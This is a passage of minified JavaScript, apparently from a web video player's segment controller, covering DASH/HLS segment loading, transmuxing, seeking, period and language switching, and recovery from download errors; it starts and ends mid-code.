t.currentAdaptationSetId&&t.mpdHandler.setAdaptationSetId(t.currentAdaptationSetId,i),e&&t.switchRepresentation(i),t.mpdHandler.getNextSegmentInfo(n.time)}).then(function(n){var r,u=null!==(r=t.currentRepresentationId)&&void 0!==r?r:i;if(t.addSegmentInfos(n,o,u),t.shouldInvalidateSegmentInfo(n))throw s.isContextAvailable(t.context)&&t.debug("invalidating ongoing SegmentInfo request for",f({},n)),"ongoing segment info request was invalidated";return t.lastSegmentInfo=n,n}).catch(function(r){if(t.pendingSegmentInfoRequest=void 0,r===ct.M3u8Error.COULD_NOT_LOAD){t.debug("HLS playlist loading failed for representation ".concat(i.representationId," (").concat(r,")"));var u=t.maybeTryLowerQuality(i);if(u)return t.debug("Trying with lower quality representation ".concat(u.representationId)),t.getSegmentInfo(f(f({},n),{recommendedRepresentationId:u}));t.handleFailedRepresentationDownload()}throw r;}).finally(function(){t.expectedTargetTimeAfterSeek=void 0}),this.pendingSegmentInfoRequest},n.prototype.shouldInvalidateSegmentInfo=function(n){return this.invalidateOngoingSegmentInfoRequest&&n&&!n.isInitSegment&&!this.isSegmentInfoInExpectedTimeRange(n)},n.prototype.isSegmentInfoInExpectedTimeRange=function(n){return void 0!==this.expectedTargetTimeAfterSeek&&b.isNumber(n.startTime)&&b.isNumber(n.duration)&&this.expectedTargetTimeAfterSeek>=n.startTime&&this.expectedTargetTimeAfterSeek<=n.startTime+n.duration},n.prototype.getDataSegmentInfo=function(n){var t={periodId:this.currentPeriodId,time:n};return this.currentRepresentationId&&this.currentRepresentationId.periodId===this.getCurrentPeriodId()?this.getSegmentInfo(f(f({},t),{recommendedRepresentationId:this.currentRepresentationId})):this.getSegmentInfo(t)},n.prototype.addSegmentInfos=function(n,t,i){var u=this,f;n&&(this.applyRepresentationInformationToSegmentInfo(n,i),this.parseDateTimeFormSegmentUrl(n),f=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return u.currentAdaptationSetId&&n.getLowestBandwidthOfAdaptationSet(u.currentAdaptationSetId)},null,this.context.sourceContext.sourceIdentifier),null!=n.bitrate&&isFinite(n.bitrate)&&n.bitrate===f&&(n.preventDownloadCanceling=!0),this.applyBaseUrlsToSegmentInfo(i,n),n.duration||n.isInitSegment||(n.duration=this.mpdHandler.getSegmentDuration()),(void 0===n.segmentNumber||isNaN(n.segmentNumber))&&(n.segmentNumber=t),n.discardData=this.hls.discardNextSegment,this.hls.discardNextSegment=!1,this.disableDownloadCancelingForNextSegment&&(n.preventDownloadCanceling=!0,this.disableDownloadCancelingForNextSegment=!1),n.isTransmuxingRequired=this.isTransmuxerRequired())},n.prototype.applyRepresentationInformationToSegmentInfo=function(n,t){var i=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getRepresentationById(t)},null,this.context.sourceContext.sourceIdentifier);i&&(n.representationId=t.representationId,n.internalRepresentationId=t,n.mimeType=this.mimeType,n.bitrate=i._bandwidth,n.periodId=t.periodId,n.codecs=this.getCodecs(),u.MimeTypeHelper.isAudio(this.mimeType)?(n.sampleRate=i._audioSamplingRate,n.width=void 0,n.height=void 0):u.MimeTypeHelper.isVideo(this.mimeType)&&(n.width=i._width,n.height=i._height,n.frameRate=i._frameRate))},n.prototype.parseDateTimeFormSegmentUrl=function(n){if(u.MimeTypeHelper.isVideo(this.mimeType)&&!n.dateTime&&this.settings.AKAMAI_DATETIME_PARSING&&this.HLSModule){var t=null!=n.duration?this.HLSModule.PlaylistUtils.getProgramDateTimeFromSegmentUrl(n.url,n.duration):void 0;t&&(n.dateTime=t)}},n.prototype.applyBaseUrlsToSegmentInfo=function(n,t){var i=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.getAvailableBaseURLsForRepresentation(n)},void 0,this.context.sourceContext.sourceIdentifier);t.availableBaseURLs=i;t.firstUsedBaseURLIndex=0;this.lastSegmentInfo&&this.lastSegmentInfo.lastUsedBaseURLIndex&&(t.firstUsedBaseURLIndex=this.lastSegmentInfo.lastUsedBaseURLIndex);t.lastUsedBaseURLIndex=t.firstUsedBaseURLIndex;this.maybeIsHlsManifest()?(t.baseURL="",t.mediaURL||(t.mediaURL=t.url)):(t.baseURL=i[t.firstUsedBaseURLIndex],t.mediaURL=t.mediaURL||t.url,delete t.url);t.url=vt.URLHelper.concatBaseUrlWithPartial(t.baseURL,t.mediaURL)},n.prototype.loadRepresentationInfo=function(n){var t=this;return this.manifestUpdateScheduler?this.manifestUpdateScheduler.waitForRepUpdate(n).then(function(){return t.mpdHandler.updateRepresentation(n)}):Promise.reject("ManifestUpdateScheduler does not exist.")},n.prototype.isTransmuxing=function(){var n;return this.isTransmuxerRequired()&&Boolean(null===(n=this.hls.transmuxer)||void 0===n?void 0:n.isTransmuxing())},n.prototype.hasActiveTransmuxingJobs=function(){var n;return this.isTransmuxerRequired()&&Boolean(null===(n=this.hls.transmuxer)||void 0===n?void 0:n.hasActiveJobs())},n.prototype.cancelTransmuxing=function(){var n=this;this.hls.transmuxer&&this.isTransmuxing()&&this.hls.transmuxer.discardCurrentJobs().forEach(function(t){return o(t.mp2tsSegment,n.sourceStore)})},n.prototype.cancelLoading=function(){var n;this.invalidateOngoingSegmentInfoRequest=!0;null===(n=this.segmentManager)||void 0===n||n.cancel().catch(this.handleCancelLoadingError)},n.prototype.seekTo=function(n){var t=this;null!==n&&this.currentAdaptationSetId&&(this.cancelLoading(),this.cancelTransmuxing(),this.loadingDataSegmentInfos=[],this.hasDownloadError=!1,this.isLastSegment=!1,this.hlsTimelineTracker&&this.hlsTimelineTracker.reset(),this.isTransmuxerRequired()&&this.hls.transmuxer&&this.hls.transmuxer.resetCaptionParser(),n>=0&&(this.hasValidSeekTarget=!0,this.expectedTargetTimeAfterSeek=n,this.mpdHandler.seekTo(n)));this.pendingSegmentInfoRequest&&b.isNumber(n)&&this.pendingSegmentInfoRequest.catch(function(n){return t.debug("Error during getting a segment info",n)}).then(function(){var i,r,u=null===(r=null===(i=t.context.store)||void 0===i?void 0:i.getState())||void 0===r?void 0:r.player.seekingProcess;(null==u?void 0:u.targetTime)===n&&t.seekTo(n)}).catch(function(n){return t.debug("Error during delayed seekTo",n)})},n.prototype.hasNextVod=function(){var n,u=this,t=this.maybeFindPeriod(this.currentPeriodId),i=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getMediaPresentationDuration()},0,this.context.sourceContext.sourceIdentifier);if(t&&t.hasOwnProperty("_duration"))n=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getPeriodDuration(u.currentPeriodId)},void 0,this.context.sourceContext.sourceIdentifier);else{if(0===i)return!1;n=i}return this.mpdHandler.hasNext(n)},n.prototype.hasNextLive=function(){var n=this,t;return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isAvailabilityEndTimeExceeded()},!1,this.context.sourceContext.sourceIdentifier)?(this.logger.log("Stream (".concat(this.mimeType,") availability end time reached, stopping download of further segments.")),this.isLastSegment=!0,!1):(this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.isLastPeriod(n.currentPeriodId)},!1,this.context.sourceContext.sourceIdentifier)&&this.mpdHandler.resolvePendingSegmentInfoRequests(),t=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.getPeriodDuration(n.currentPeriodId)},void 0,this.context.sourceContext.sourceIdentifier),this.mpdHandler.hasNext(t))},n.prototype.maybeRewindSegmentIndex=function(){var n,t;this.hasDownloadError&&(t=null===(n=this.adaptationService)||void 0===n?void 0:n.getNewRepresentation(this.mimeType),this.currentRepresentationId.equals(t)||(this.mpdHandler.rewindOneSegment(),this.hasDownloadError=!1))},n.prototype.hasNext=function(n){var t=this,i=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isLastPeriod(t.currentPeriodId)},!1,this.context.sourceContext.sourceIdentifier);return!(this.isLastSegment&&i||!this.currentAdaptationSetId||!this.mpdHandler)&&(this.maybeRewindSegmentIndex(),this.maybeIsLive()?this.hasNextLive(n):this.hasNextVod(n))},n.prototype.onTransmuxed=function(n){var r=this,i,e;if(n.transmuxedSegments.every(function(n){return null!==n.getCodec()})){!this.hls.possiblyDependentSegments&&function(n){return n.transmuxedSegments.some(function(n){return u.MimeTypeHelper.isAV(n.getMimeType())&&!n.isIndependentlyDecodable()})}(n)&&(this.debug("Encountered HLS segment not starting with a key frame"),this.hls.possiblyDependentSegments=!0);var o=n.transmuxedSegments.find(function(n){return"video/mp4"===n.getMimeType()}),f=n.transmuxedSegments.filter(function(n){return"audio/mp4"===n.getMimeType()}),t=[o,f[this.hls.muxedAudioTrackIndex]||f[0]].filter(function(n){return Boolean(n)});t.forEach(function(n){return r.timestampOffsetService.maybeAdjustTimestampOffsetAtDiscontinuityChange(n,r.mpdHandler)});this.segmentManager&&this.currentAdaptationSetId&&this.segmentPreProcessor.onMuxedSegmentAvailable(n,t,this.currentAdaptationSetId,this.segmentManager);i=t[t.length-1];i&&i.getMimeType().indexOf("mp4")>-1&&(this.isLastSegment=i.isLastSegment());this.debug("Transmuxing done",n.originalSegment.getUrl())}else e=n.originalSegment.getUrl(),this.debug("Discarding muxing because codecs were not available in the segment: ".concat(e))},n.prototype.hasPendingSegments=function(n){var t,i,r,u,f,e;return n?(f=this.isTransmuxerRequired()&&Boolean(this.hls.transmuxer)&&this.hls.transmuxer.isTransmuxingSegmentsForPeriod(n),e=null!==(i=null===(t=this.segmentManager)||void 0===t?void 0:t.isLoading(n))&&void 0!==i&&i):(f=this.isTransmuxing(),e=null!==(u=null===(r=this.segmentManager)||void 0===r?void 0:r.isLoading())&&void 0!==u&&u),e||f||this.isProcessingSegment||Boolean(this.pendingSegmentInfoRequest)},n.prototype.transmux=function(n){var t=this,i;this.hls.transmuxer&&(i=n.getSegmentInfo(),this.hls.transmuxer.isSetupForDiscontinuity(i.discontinuitySequenceNumber)||(void 0===i.startTime&&this.sourceStore.dispatch(this.HLSModule.actions.dropSegmentStartTimes()),ii.initializeHlsSegmentStartTimes(n,this.context,this.mpdHandler)),this.hls.transmuxer.transmuxSegment(n).then(function(n){return t.onTransmuxed(n)}).catch(function(i){o(n,t.sourceStore);t.eventHandler.dispatchEvent(e.PlayerEvent.Warning,new y.PlayerWarning(p.WarningCode.PLAYBACK_INVALID_DATA_SEGMENT_ENCOUNTERED,"Transmuxing failed: ".concat(i),{mimeType:n.getMimeType(),segmentUrl:n.getUrl()}))}))},n.prototype.maybeUpdateContainerFormat=function(n){var i,t;this.isContainerFormatKnown()||(t=ti.resolveContainerFormat(this.mimeType,n,this.maybeIsHlsManifest()),this.debug("Container format is ".concat(null==t?void 0:t.source)),t&&this.sourceStore.dispatch(a.setContainerFormatAction(n.getRepresentationId(),t)),this.hls.isTransmuxingRequired=Boolean(t&&t.source!==t.target),!this.hls.isTransmuxingRequired&&u.MimeTypeHelper.isAV(this.mimeType)&&(null===(i=this.hls.transmuxer)||void 0===i||i.dispose(),this.context.serviceManager.maybeCall(r.ServiceName.SubtitleService,function(n){n.setTransmuxer(void 0)})))},n.prototype.isSegmentEmpty=function(n){var t=n.getData();return!!(t&&t.byteLength<1)},n.prototype.isInvalidMp4Segment=function(n){if(!l.ModuleManager.has(h.ModuleName.ContainerMP4))return!1;var t=l.ModuleManager.get(h.ModuleName.ContainerMP4,!1),i=t.isValidMp4,r=t.MP4Parser,u=this.segmentParser instanceof r;return this.context.settings.DROP_INVALID_SEGMENTS&&u&&!i(n)},n.prototype.getContainerFormat=function(){var n=this.sourceStore.getState();return n&&gt.getContainerFormat(n,u.MimeTypeHelper.getMediaType(this.mimeType))},n.prototype.isContainerFormatKnown=function(){return Boolean(this.getContainerFormat())},n.prototype.loadFromSegmentInfo=function(n){var t=this;return this.pendingSegmentInfoRequest=void 0,this.isProcessingSegment=!0,n?(this.lastSegmentInfoError=void 0,this.maybeLoadInitSegment(n).then(function(){return t.loadDataSegment(n)}).catch(function(i){return t.handleSegmentLoadingError(i,n)}).finally(function(){return t.isProcessingSegment=!1})):Promise.resolve()},n.prototype.maybeLoadInitSegment=function(n){var i,r=this,t=this.getInitSegmentInfoForDataSegmentInfo(n);return t&&(n.init=t,null==(null===(i=this.segmentManager)||void 0===i?void 0:i.getCachedSegment(t)))?(this.debug("Loading init segment before data segment",t.url),this.loadSegment(t).catch(function(n){return r.debug("Error during loading init segment",n),Promise.reject(n)})):Promise.resolve()},n.prototype.debug=function(n){for(var u,i,r,f=[],t=1;t<arguments.length;t++)f[t-1]=arguments[t];(null===(i=this.logger)||void 0===i?void 0:i.isLevelEnabled(g.LogLevel.DEBUG))&&(u=this.logger).debug.apply(u,ht(["[".concat(this.mimeType,"][").concat(null===(r=this.currentRepresentationId)||void 0===r?void 0:r.representationId,"] SegmentController: ").concat(n)],f,!1))},n.prototype.loadDataSegment=function(n){var t;return(null===(t=this.logger)||void 0===t?void 0:t.isLevelEnabled(g.LogLevel.DEBUG))&&this.debug("Loading ".concat(JSON.stringify(n))),this.loadingDataSegmentInfos.push(n),this.loadSegment(n)},n.prototype.getInitSegmentInfoForDataSegmentInfo=function(n){var t;return(t=n.init?f(f({},n.init),{isInitSegment:!0,internalRepresentationId:n.internalRepresentationId}):this.mpdHandler.getInitSegmentInfo(n.internalRepresentationId))&&this.addSegmentInfos(t,void 0,n.internalRepresentationId),t},n.prototype.loadSegment=function(n){var t=this;return this.segmentManager?this.segmentManager.getSegment(n).then(function(n){return t.extractSegmentFromStream(n)}):Promise.reject()},n.prototype.extractSegmentFromStream=function(n){var t=this;return new Promise(function(i,r){n.transform(function(n){(function(n,t){var i=t.findIndex(function(t){return ri.areSegmentsIdentical(t,n)});i>-1&&t.splice(i,1)})(n.getSegmentInfo(),t.loadingDataSegmentInfos);t.onSegmentLoaded(n)},function(){return i()},function(n){var i=n.message;return r({reason:i}),t.debug("Error loading segment",i),i})})},n.prototype.handleSegmentLoadingError=function(n,t){switch(this.sourceStore.dispatch(lt.clearPreferredBitrateForMimeTypeAction(this.mimeType)),n.reason){case v.SegmentLoadingErrorReason.CANCEL:this.debug("Download was cancelled as the segment is probably outdated");break;case v.SegmentLoadingErrorReason.ERROR_DECRYPTING:this.debug("Could not decrypt segment",t.url);this.eventHandler.dispatchEvent(e.PlayerEvent.Warning,new y.PlayerWarning(p.WarningCode.DRM_COULD_NOT_DECRYPT_SEGMENT));break;case v.SegmentLoadingErrorReason.ERROR_LOADING:var i=n.info?n.info.response.status:0;this.handleDownloadError(i,t);break;case v.SegmentLoadingErrorReason.TIMEOUT:this.onDownloadTimeout(t);break;default:this.debug("Unexpected error while loading the segment",{url:t.url,error:n})}},n.prototype.switchToHlsBackupStream=function(n){var t=this;return this.HLSModule&&this.manifestLoader instanceof this.HLSModule.M3u8Loader?this.manifestLoader.switchToBackupStream(n).then(function(n){return n.length>0}).catch(function(n){return t.debug("Could not switch to HLS backup stream: ".concat(n)),Promise.resolve(!1)}):Promise.resolve(!1)},n.prototype.getFailedSegmentIndex=function(){var n=this.settings.CHUNKED_CMAF_STREAMING?1:this.loadingDataSegmentInfos.length;return this.mpdHandler.getIndex()-n},n.prototype.handleDownloadError=function(n,t){this.segmentUnavailabilityHandler.shouldTryAlternatives(n)?this.tryToFindAValidSegment(t,n):(this.storeFailedDownloadRange(t),this.hasDownloadError=!0)},n.prototype.tryToFindAValidSegment=function(n,t){var i=this,u,f;this.currentRepresentationId&&this.currentRepresentationId.equals(n.internalRepresentationId)?(u=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return i.currentAdaptationSetId&&n.getRepresentation(i.currentAdaptationSetId,i.currentRepresentationId.representationId)},null,this.context.sourceContext.sourceIdentifier),u&&(f=!1,this.isBackupStreamSwitchOngoing=!0,this.switchToHlsBackupStream(u).then(function(n){return f=n}).finally(function(){return i.isBackupStreamSwitchOngoing=!1}).then(function(){var n;if(null!==(n=i.segmentManager)&&void 0!==n)return n.cancel()}).then(function(){return i.tryToRecoverWithValidSegment(f,n,t)}))):this.debug("Ignoring download error of previous representation.")},n.prototype.tryToRecoverWithValidSegment=function(n,t,i){var u,f=this.getFailedSegmentIndex(),r,e;(this.loadingDataSegmentInfos=[],n)?this.mpdHandler.setIndex(Math.max(0,f)):(u=this.segmentUnavailabilityHandler.switchBaseURL(t))?this.loadFromSegmentInfo(u):(r=this.maybeTryLowerQuality(this.currentRepresentationId),r?this.streamTimeService&&(this.mpdHandler.setIndex(Math.max(0,f)),this.debug("Trying with lower quality segment ".concat(r.representationId)),e=this.streamTimeService.getTimeForNextSegment(c.getTrackIdentifier(t)),this.getNext(e,r)):(this.hasDownloadError=!0,this.handleFailedSegmentDownload(t,i)))},n.prototype.maybeTryLowerQuality=function(n){var t,i,r,u;if(n&&(null===(t=this.adaptationService)||void 0===t?void 0:t.isAuto(this.mimeType)))return u=null!==(r=null===(i=this.maybeGetAdaptationSet(this.currentAdaptationSetId))||void 0===i?void 0:i.Representation)&&void 0!==r?r:[],this.segmentUnavailabilityHandler.switchQuality(u,n)},n.prototype.handleFailedRepresentationDownload=function(){this.maybeIsLive()?(this.debug("Could not load any segment of any quality from any CDN: restart retries."),this.segmentUnavailabilityHandler.downloadSuccess(!1)):this.logger.warn("Could not load segments of any quality from any CDN")},n.prototype.handleFailedSegmentDownload=function(n,t){this.storeFailedDownloadRange(n);this.maybeIsLive()?(this.debug("Could not load current segment of any quality from any CDN (all retries failed), skipping it..."),this.continueWithNextSegment(n)):ui.throwDownloadError(this.context,"Segment not available at any quality or location",t,n)},n.prototype.storeFailedDownloadRange=function(n){var t=et.getSegmentInfoTimeRange(n);t&&s.isContextAvailable(this.context)&&n.mimeType&&this.context.store.dispatch(ut.addStreamTimeRange(c.getTrackIdentifier(n),t,c.StreamTimeRangeType.Failed))},n.prototype.continueWithNextSegment=function(n){this.segmentUnavailabilityHandler.downloadSuccess(!1);n.hasDownloadFailed=!0;null!=n.startTime&&null!=n.duration&&this.getNext(n.startTime+n.duration)},n.prototype.onDownloadTimeout=function(n){var i,t=this;s.isContextAvailable(this.context)&&(this.debug("Download took too long, cancelled it",n.url),!n.isInitSegment&&this.mpdHandler&&(null===(i=this.segmentManager)||void 0===i||i.cancel().then(function(){if(t.mpdHandler){var n=t.getFailedSegmentIndex();t.loadingDataSegmentInfos=[];t.debug("Trying to get the same segment with a lower bitrate.");t.mpdHandler.setIndex(Math.max(0,n))}})))},n.prototype.findAdaptationSetId=function(n,t,i){var f=this,u;return(void 0===i&&(i=!1),this.isSubtitleSegmentController&&!(null==t?void 0:t.id))?(this.currentLangObj=t,void(this.segmentManager&&this.cancelLoading())):(u=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(r){return r.findAdaptationSet(n,f.mimeType,t,i)},null,this.context.sourceContext.sourceIdentifier),u?(this.currentLangObj=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getLangObjectFromAdaptationSet(u,f.mimeType)},void 0,this.context.sourceContext.sourceIdentifier),u._internalId):void 0)},n.prototype.getCurrentAdaptationSet=function(){return this.maybeGetAdaptationSet(this.currentAdaptationSetId)},n.prototype.getAdaptationSetForPeriodId=function(n){return this.maybeGetAdaptationSet(this.loadedAdaptationSetIds[n])||this.getCurrentAdaptationSet()},n.prototype.updateMpd=function(){var n,i,t;this.debug("Caught a manifest update event");i=!this.maybeFindPeriod(this.currentPeriodId);for(t in this.currentAdaptationSetId=this.findAdaptationSetId(this.currentPeriodId,this.currentLangObj,!1),!i&&this.currentAdaptationSetId&&(this.loadedAdaptationSetIds[this.currentPeriodId]=this.currentAdaptationSetId,null===(n=this.adaptationService)||void 0===n||n.setAdaptationSetId(this.mimeType,this.currentAdaptationSetId),this.mpdHandler.setAdaptationSetId(this.currentAdaptationSetId,this.currentRepresentationId,{isPeriodSwitch:!1,isManifestUpdate:!0})),this.loadedAdaptationSetIds)this.maybeFindPeriod(t)||delete this.loadedAdaptationSetIds[t]},n.prototype.activateSubtitleSegmentController=function(n){var t;this.isSubtitleSegmentController&&(this.currentAdaptationSetId&&(this.mpdHandler.setAdaptationSetId(this.currentAdaptationSetId),null===(t=this.adaptationService)||void 0===t||t.setAdaptationSetId(this.mimeType,this.currentAdaptationSetId)),isNaN(this.mpdHandler.getTimestampOffset())&&this.mpdHandler.setTimestampOffset(0),this.seekTo(n))},n.prototype.setCurrentLangObj=function(n){var i,t,r;if(this.hls.isAvMuxedTogether&&u.MimeTypeHelper.isVideo(this.mimeType)&&(t=this.maybeGetAdaptationSet(this.currentAdaptationSetId),(null==t?void 0:t.ContentComponent)&&(r=t.ContentComponent.find(function(t){return"audio"===t._contentType&&t._id===n.id}),r)))return this.hls.muxedAudioTrackIndex=t.ContentComponent.filter(function(n){return"audio"===n._contentType}).indexOf(r),void(this.currentLangObj=n);n.id!==(null===(i=this.currentLangObj)||void 0===i?void 0:i.id)&&this.switchAdaptationSetId(n)},n.prototype.switchAdaptationSetId=function(n){var i=this.currentAdaptationSetId,t;(this.currentAdaptationSetId&&this.sourceStore.dispatch(a.removeActiveTrackAction(this.currentAdaptationSetId)),this.currentAdaptationSetId=this.findAdaptationSetId(this.currentPeriodId,n),this.currentAdaptationSetId)&&(t=this.maybeGetAdaptationSet(this.currentAdaptationSetId),t&&this.sourceStore.dispatch(a.setMediaTypeAction(t._internalId,bt.resolveMediaTypes(t))),this.loadedAdaptationSetIds[this.currentPeriodId]=this.currentAdaptationSetId,i&&!this.currentAdaptationSetId.equals(i)&&this.switchDependentToNewLanguageObject(n))},n.prototype.switchDependentToNewLanguageObject=function(n){var t,i;this.currentLangObj=n;this.previousExplicitlySetLangObj=n;this.debug("Trying to set language to ID ".concat(this.currentLangObj.id)+" (lang: ".concat(this.currentLangObj.lang,") for mpd handler and adaption handler"));this.currentAdaptationSetId&&(this.mpdHandler.setAdaptationSetId(this.currentAdaptationSetId),null===(t=this.adaptationService)||void 0===t||t.setAdaptationSetId(this.mimeType,this.currentAdaptationSetId),null===(i=this.adaptationService)||void 0===i||i.selectRepresentation(this.mimeType))},n.prototype.getCurrentLangObj=function(){return this.currentLangObj},n.prototype.stop=function(){var n,t;this.cancelLoading();null===(n=this.segmentManager)||void 0===n||n.clearCache();null===(t=this.adaptationService)||void 0===t||t.shutdown(this.mimeType)},n.prototype.init=function(){var t,n=this,o=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getFirstPeriod()},void 0,this.context.sourceContext.sourceIdentifier),i,f,e;!this.currentPeriodId&&o&&(this.currentPeriodId=o._id);i=ft.MPDHandlerFactory.createInstance(this.context,this.mimeType,this.manifestLoader,this.currentPeriodId);i?(this.mpdHandler=i,e=st(this.mimeType),e&&(f=kt.createSegmentParser(this.context,e)),f?this.segmentParser=f:this.debug("Could not create segment parser for mime type"),this.timestampOffsetService=new ei.TimestampOffsetService(this.context,this.mimeType),this.segmentPreProcessor=new fi.SegmentPreProcessor(this.context,this.mimeType,this.onDataAvailableCallback,this.hls,this.segmentUnavailabilityHandler,this.timestampOffsetService,this.segmentParser),this.segmentPreProcessor.setMpdHandler(this.mpdHandler),this.hasDownloadError=!1,this.currentAdaptationSetId=this.findAdaptationSetId(this.currentPeriodId,this.currentLangObj),this.currentAdaptationSetId&&(this.loadedAdaptationSetIds[this.currentPeriodId]=this.currentAdaptationSetId),this.context.serviceManager.maybeCall(r.ServiceName.SegmentService,function(t){return t.add({mimeType:n.mimeType,shouldDownloadBeCancelledCallback:n.onShouldDownloadBeCancelled},n.segmentParser,n.currentLangObj)}),this.maybeIsHlsManifest()&&(this.hlsTimelineTracker=new this.HLSModule.HlsTimelineTracker(this.context,this.settings.GAP_TOLERANCE),this.segmentPreProcessor.setHlsTimelineTracker(this.hlsTimelineTracker)),u.MimeTypeHelper.isMP4(this.mimeType)&&this.context.serviceManager.maybeCall(r.ServiceName.SubtitleService,function(t){t.setupCea608CaptionExtractor(n.context.logger)}),this.currentAdaptationSetId&&(null===(t=this.adaptationService)||void 0===t||t.setAdaptationSetId(this.mimeType,this.currentAdaptationSetId),this.mpdHandler.setAdaptationSetId(this.currentAdaptationSetId,void 0,{isPeriodSwitch:!0}),this.maybeIsLive()&&!this.settings.ENABLE_SEEK_FOR_LIVE&&this.mpdHandler.timeShift(0,this.currentPeriodId)),this.hasValidSeekTarget=!1,this.isLastSegment=!1):this.eventHandler.fireError(new d.PlayerError(k.ErrorCode.SOURCE_MANIFEST_INVALID))},n.prototype.getSegmentInfos=function(){var n,t=this,i=null===(n=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.getAvailableBaseURLsForRepresentation(t.currentRepresentationId)},null,this.context.sourceContext.sourceIdentifier))||void 0===n?void 0:n[0];return this.mpdHandler.getSegmentInfos(i)},n.prototype.getCurrentPeriodId=function(){return this.currentPeriodId},n.prototype.getTargetLanguageObject=function(n){var t=this;return this.previousExplicitlySetLangObj&&this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(i){return i.isLanguageAvailable(n,t.mimeType,t.previousExplicitlySetLangObj)},!1,this.context.sourceContext.sourceIdentifier)?this.previousExplicitlySetLangObj:this.currentLangObj},n.prototype.switchPeriod=function(n){var t,i,u,o=this,s=this.getTargetLanguageObject(n),h,f,e;(this.debug("switching period from ".concat(this.currentPeriodId," to ").concat(n)),this.cancelLoading(),null===(t=this.segmentManager)||void 0===t||t.clearCache(),this.removeCachedSegmentsOfPrecedingPeriods(),this.currentPeriodId=n,this.currentRepresentationId=void 0,this.currentAdaptationSetId=this.findAdaptationSetId(n,s,!0),this.currentAdaptationSetId&&(this.loadedAdaptationSetIds[n]=this.currentAdaptationSetId),this.currentAdaptationSetId)&&(null===(i=this.adaptationService)||void 0===i||i.setAdaptationSetId(this.mimeType,this.currentAdaptationSetId),h=this.mpdHandler.getPendingSegmentInfoRequest(),f=ft.MPDHandlerFactory.createInstance(this.context,this.mimeType,this.manifestLoader,n,s),f?(this.mpdHandler.dispose(),this.mpdHandler=f):this.eventHandler.fireError(new d.PlayerError(k.ErrorCode.SOURCE_MANIFEST_INVALID)),this.segmentPreProcessor.setMpdHandler(this.mpdHandler),this.mpdHandler.setPendingSegmentInfoRequest(h),this.mpdHandler.setAdaptationSetId(this.currentAdaptationSetId,void 0,{isPeriodSwitch:!0}));this.isTransmuxerRequired()&&(e=this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return o.currentAdaptationSetId&&n.findDownloadedHlsRepresentation(o.currentAdaptationSetId)},null,this.context.sourceContext.sourceIdentifier),e&&this.mpdHandler.setRepresentationId(e._internalId),this.hlsTimelineTracker&&this.hlsTimelineTracker.reset(),null===(u=this.segmentManager)||void 0===u||u.clearCache(!1));this.hasDownloadError=!1;this.isLastSegment=!1},n.prototype.getMPDHandler=function(){return this.mpdHandler},n.prototype.getIndex=function(){return this.mpdHandler&&this.mpdHandler.getIndex()||0},n.prototype.getSourceBufferTypes=function(){var n=[];return this.isTransmuxerRequired()&&this.hls.isAvMuxedTogether?(n.push("video/mp4"),n.push("audio/mp4")):n.push(this.mimeType),n},n.prototype.getCodecs=function(){var n,t=this.getCurrentAdaptationSet();if(null!==(n=t&&wt.getCodecsFromAdaptationSet(t))&&void 0!==n)return n},n.prototype.getLiveEdgeTime=function(){return this.maybeIsLive()?this.mpdHandler.getLiveEdgeTime():-1},n.prototype.setAdaptionLogicStartupPhase=function(){var n;null===(n=this.adaptationService)||void 0===n||n.setStartupPhase(this.mimeType)},n.prototype.getMimeType=function(){return this.mimeType},n.prototype.removeCachedSegmentsOfPrecedingPeriods=function(){var n=this,u=this.context.store.getState(),f=u?tt.getMetricsState(u):void 0,t,i;this.segmentManager&&f&&(t=this.sourceStore.getState(),i=t?ni.getPlayingPeriodId(t):void 0,this.segmentManager.removeCachedInitSegments(function(t){return n.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isPrecedingPeriod(i,t.getPeriodId())},!1,n.context.sourceContext.sourceIdentifier)}),(tt.getMetricsHistory(f,this.mimeType,it.MetricType.CachedInitSegments)||[]).filter(function(t){var u=t.value.internalRepId.periodId;return n.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isPrecedingPeriod(i,u)},!1,n.context.sourceContext.sourceIdentifier)}).forEach(function(t){return n.context.store.dispatch(at.removeMetricsValue(n.mimeType,it.MetricType.CachedInitSegments,t))}))},n.prototype.canLoad=function(){var n;return Boolean(null===(n=this.segmentManager)||void 0===n?void 0:n.canLoad())},n.prototype.isTransmuxerRequired=function(){return this.hls.isTransmuxingRequired},n.prototype.setTransmuxer=function(n){this.hls.transmuxer=n},n.prototype.getTransmuxer=function(){return this.hls.transmuxer},n.prototype.resetTransmuxer=function(){this.hls.transmuxer&&this.hls.transmuxer.reset()},n.prototype.maybeIsHlsManifest=function(){return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isHlsManifest()},!1,this.context.sourceContext.sourceIdentifier)},n.prototype.maybeIsSmoothManifest=function(){return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isSmoothManifest()},!1,this.context.sourceContext.sourceIdentifier)},n.prototype.maybeIsLive=function(){return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(n){return n.isLive()},!1,this.context.sourceContext.sourceIdentifier)},n.prototype.maybeFindPeriod=function(n){return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.findPeriod(n)},null,this.context.sourceContext.sourceIdentifier)},n.prototype.maybeGetAdaptationSet=function(n){return this.context.serviceManager.maybeCall(r.ServiceName.ManifestService,function(t){return t.getAdaptationSet(n)},null,this.context.sourceContext.sourceIdentifier)},n.prototype.dispose=function(){var 